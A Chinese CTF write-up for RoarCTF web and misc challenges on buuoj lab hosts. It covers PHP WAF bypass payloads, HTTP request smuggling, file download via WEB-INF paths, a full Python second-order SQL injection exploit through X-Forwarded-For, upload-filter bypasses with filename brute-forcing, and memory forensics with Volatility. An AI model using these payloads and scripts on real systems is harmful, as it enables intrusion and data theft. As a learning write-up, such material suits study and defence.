Roarctf Web

Web

Easy Calc

这题其实有三种解法,都复现一下吧

1.php字符串解析函数绕过modsecurity

打开靶机是这样一个计算器

mark

看一下页面源码:

mark

可以看到有个/calc.php,那么访问看一下

mark

这里的代码和2019年国赛初赛的love math很像,过滤了一堆符号并且黑名单里多了$符,但没有给白名单(可用函数)。而代码最后有eval函数,如果可以绕过黑名单的过滤,那么就可以执行我们想要的命令了

这里推荐一篇文章:https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/

https://xz.aliyun.com/t/5621

在文章中介绍的很清楚,如果在传参的过程中在使参数变成/calc.php?%20num%00=···的话,在php中%20num%00就会被储存到$_GET["num"]

/calc.php?%20num%00=var_dump(scandir(chr(47)));实际在网页中被解析成了:

/calc.php?$_GET["num"]=var_dump(scandir(chr(47)));

1
2
/calc.php?+num=1;var_dump(scandir(chr(47)));//另一种payload
/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

2.利用http走私漏洞绕过waf

具体http走私漏洞的原理可以看这篇文章:https://paper.seebug.org/1048/

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /calc.php?num=phpinfo() HTTP/1.1
Host: node3.buuoj.cn:28282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 7
Content-Length: 7

num=1

mark

mark

mark

3.字符串拼接

由于全局waf的原因,构造payload时,能使用的字符有

1
数字[0-9] + - * / E | () % {} . &

输入过长的数字将会得到,并且我们还可以将使用’.’进行字符串的拼接。

mark

测出可以使用[0-9]|@可以得到字符[p-y]……

mark

同时经过测试,@如下:

1
(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))

根据ASCII对应表:传送门,我们通过0x21-0x39|@构造出a-z的字符,然后再通过’.’拼接.

我们最终都是要把我们所需的字符使用数字[0-9] + . E 使用 或(|),与(&) 操作来获得

字符通过如下脚本获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#-*- coding: utf-8 -*-
#可用字符
a=['0','1','2','3','4','5','6','7','8','9','E','+','.']
b=[]
c=[]
d=[]

b1=[]
for i in a:
for j in a:
b.append(i+'或'+j+'-------'+chr(ord(i)|ord(j)))
b1.append(chr(ord(i)|ord(j)))
print(set(b))

c1=[]
for i in a:
for j in a:
c.append(i+'与'+j+'--------'+chr(ord(i)&ord(j)))
c1.append(chr(ord(i)&ord(j)))
print(set(c))

d1=[]
for i in set(b1+c1):
for j in set(b1+c1):
d.append(i+'与'+j+'--------'+chr(ord(i)&ord(j)))
d1.append(chr(ord(i)&ord(j)))
print(set(d1+b1+c1))


a=raw_input("input you find: ")

for i in (b+c+d):
if a in i:
print(i)
break

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1.0E+202
E ((99999999999999999999).(2)){3}
+ ((99999999999999999999).(2)){4}


@ (((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))

a !|@ 1&+|@
((1).(1)){1}%26(((99999999999999999999).(2)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))

b "|@ 2&+|@
((1).(2)){1}%26(((99999999999999999999).(2)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))


c #|@ 3&+|@
((1).(3)){1}%26(((99999999999999999999).(2)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))


d $|@ 4&.|@
((1).(4)){1}%26(((99999999999999999999).(2)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))

e %|@ /&5|@ +|.&5|@
(((((99999999999999999999).(2)){4})|(((99999999999999999999).(2)){1}))%26((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))


abc
(((1).(1)){1}%26(((99999999999999999999).(2)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((1).(2)){1}%26(((99999999999999999999).(2)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((1).(3)){1}%26(((99999999999999999999).(2)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1}))))

mark

由此构造payload:

1
2
3
4
5
6
7
8
//phpinfo()
?num=(((((1).(0)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(8)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(0)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(9)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((9999999999999999999999).(1)){3})|(((9999999999999999999999).(1)){4})))()

//scandir('/')
?num=((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4})).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1}))))

//readfile('/f1agg')
?num=(((((1).(2)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(4)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(9)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){4})|(((9999999999999999999999).(1)){1}))%26((((1).(4)){1})|(((1).(8)){1}))|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))))(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4})).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))))

Easy Java

打开靶机是个登录页面

mark

尝试用弱密码登录,得出用户名为admin,密码为admin888可以成功登录

mark

登录进去什么都没,只说是一道送分题,回过头看首页,有一个help

mark

mark

get无法下载文件,尝试post,发现返回了help.docx的字节码

mark

把ascii hex码复制下来放到winhex中尝试恢复word文件

mark

好像不是这个思路,换个思路继续尝试

将post参数放到正文中可以得到泄露的包名com.wm.ctf.DownloadController.doPost(DownloadController.java:24)

mark

下载web.xml文件看看

(这里还有另一种下载方式,就是将filename=WEB-INF/web.xml放到包的正文中,但这样构造包的话必须在头部加上Content-Type:application/x-www-form-urlencoded,否则无法下载)

mark

java编译过后死活.class文件,所以我们构造路径:WEB-INF/classes/com/wm/ctf/FlagController.class来下载FlagController.class文件的字节码

mark

看到返回内容中夹着一串base64,解码看一下

mark

得到flag

online proxy

查看源代码可以看到有一个current IP

mark

发现通过修改X-Forwarded-For可以来修改current ip,感觉是把ip写到数据库了,然后有新ip访问后又从数据库中读取last ip

那么来测试一下,这里xff没有任何过滤,所以直接把ip设为1' or '1

mark

接着随意改一个ip

mark

现在current ip变成了jagger,last ip是1' or '1。现在last ip已经写入数据库,但因为第一次和第二次传输的ip不一样,所以服务器不会从数据库中查找last ip。

然后不要改变xff的ip值,刷新页面

mark

发现last ip变成了1,说明上面的1' or '1语句被执行了

接下来就可以按照这个思路来写脚本了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import requests

target = "http://node3.buuoj.cn:28324/"

def execute_sql(sql):
print("[*]请求语句:" + sql)
return_result = ""

payload = "0'|length((" + sql + "))|'0"
session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'jagger'})
r = session.get(target, headers={'X-Forwarded-For': 'jagger'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度:" + str(length))

for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
r = session.get(target, headers={'X-Forwarded-For': 'jagger'}) # 查询上次IP时触发二次注入
r = session.get(target, headers={'X-Forwarded-For': 'jagger'}) # 再次查询得到结果
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

return return_result


# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))

simple_upload

mark

搜索源码发现是thinkphp,查了下thinkphp3.2.3的文档(题目版本是3.2.4),上传实际上是访问Home模块下面的Index控制器类的upload方法

mark

所以访问/index.php/home/index/upload看一下

mark

但是发现没有上传点,所以要想办法上传了。随便构造一个上传的数据包试一下看是否能成功

mark

成功了,说明上传功能是正常的,但是源码中限制了不能上传.php文件,并且只能上传图片

于是去找thinkphp3的源码看看有没有什么能绕过的地方,打开ThinkPHP/Library/Think/Upload.class.php看Uploads类的源码,发现题目代码中的allowExts属性并不存在,而thinkphp3中限制上传文件后缀的属性应该是exts

mark

1
2
$upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
//这样的话这句代码就不起作用了

现在的问题就是如果绕过题目代码中对.php的限制了,在thinkphp3 Uploads类源码的第157行,有这样一句代码$file['name'] = strip_tags($file['name']);

mark

strip_tags()函数会去掉文件名中的HTML标签,因此我们可以构造.p<br>hp这样的文件后缀来绕过对.php的检测,来构造个数据包试试:

mark

成功上传了php后缀的文件,并且拿到了文件名和文件路径,访问看看

mark

居然直接拿到了flag。。。不知道是不是靶机的问题,不过这里可以访问的话那么把phpinfo换成小马也行

另一种做法:上传多文件+爆破文件名

如果没看到thinkphp3源码中strip_tags对filename的处理也没关系,还有另一种做法

在thinkphp中,upload()函数不传参时为多文件上传,整个$_FILES数组的文件都会上传保存

题目中只限制了$_FILES[file]的上传后缀,也只给给出$_FILES[file]上传后的路径,那么我们一次上传多个文件就可以绕过对.php后缀的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /index.php/home/index/upload HTTP/1.1
Host: edff2f03-5418-4646-93bc-cc6c819e21f4.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept: text/plain, */*
Content-Type: multipart/form-data;boundary=---------------------------
Content-Length: 303

-----------------------------
Content-Disposition: form-data; name="file";filename="1.txt";
Content-Type: text/plain

123
-----------------------------
Content-Disposition: form-data; name="file2";filename="1.php";
Content-Type: text/plain

<?php phpinfo();?>
-----------------------------

mark

这样的话php文件已经上传成功了,但是现在不知道1.php的文件名,继续找到thinkphp3的源码看一下是怎样生成文件名的

mark

可以看到文件名是根据uniqid函数生成的

mark

测试一下有多接近

mark

看到只有后两位是不同的,考虑到网络的延迟,我们尝试爆破文件名的后三位

模式改为Cluster bomb,设置最后三位为payload positions,每一个payload位的payload都是0-9和a-f

mark

mark

mark

因为buuoj限制了最大访问频率是每秒20次,所以我们要把线程调为2服务器才不会返回429,跑的时间有点长,要耐心等等

mark

跑出来访问就能拿到flag了

Misc

黄金六年

拖进winhex后最底下有串base64

mark

解码后显示了rar,猜测是压缩包

mark

找个能以16进制显示结果的网站重新解密下

mark

去掉\x后放到winhex后得到压缩包,而打开压缩包需要密码。重新打开视频,用potplayer一帧一帧看视频发现有4个关键帧里有二维码,全部扫描后得到iwantplayctf,输入密码即可得flag

mark

forensic

拿到raw文件拖到kali里,按先看镜像信息

mark

用建议的profile,Win7SP1x86。先查看下内存中的进程

volatility -f foresic.raw --profile=Win7SP1x86 pslist

mark

有这几个进程比较值得关注

1
2
3
4
TrueCrypt.exe    ---一款磁盘加密工具
notepad.exe ---windows里的记事本
mspaint.exe ---windows画图工具
DumpIt.exe ---内存镜像提取工具

用命令查看一下提取内存时的内存数据,发现noetepad和mspaint在内存中都没有数据

volatility -f foresic.raw --profile=Win7SP1x86 userassist

再扫描文件看看

volatility -f foresic.raw --profile=Win7SP1x86 filescan |grep -E 'png|jpg|gif|zip|rar|7z|pdf|txt|doc'

mark

发现两个比较可疑的文件,dump下来看看volatility -f foresic.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000001efb29f8 --dump-dir=./

acount.txt没数据,但是得到了一张图片

mark

应该是密码,先收着后面用

再扫描一下桌面文件看看 volatility -f foresic.raw --profile=Win7SP1x86 filescan | grep "Desktop"

mark

LETHALBE3A-20190916-135515.rawDumpIt.exe生成的文件,dump下来看看

mark

发现没数据,说明取证的时候dumpit.exe还在运行,那就dump一下dumpit.exe的内存镜像看看

mark

用foremost跑一下dump下来的文件,发现个有flag.txt的压缩包,但是有密码,应该是刚才图片里的字符串

mark

mark

但是这个字符串里好几个位置很难确认,所以要自己试一下

mark

TankGame

待补全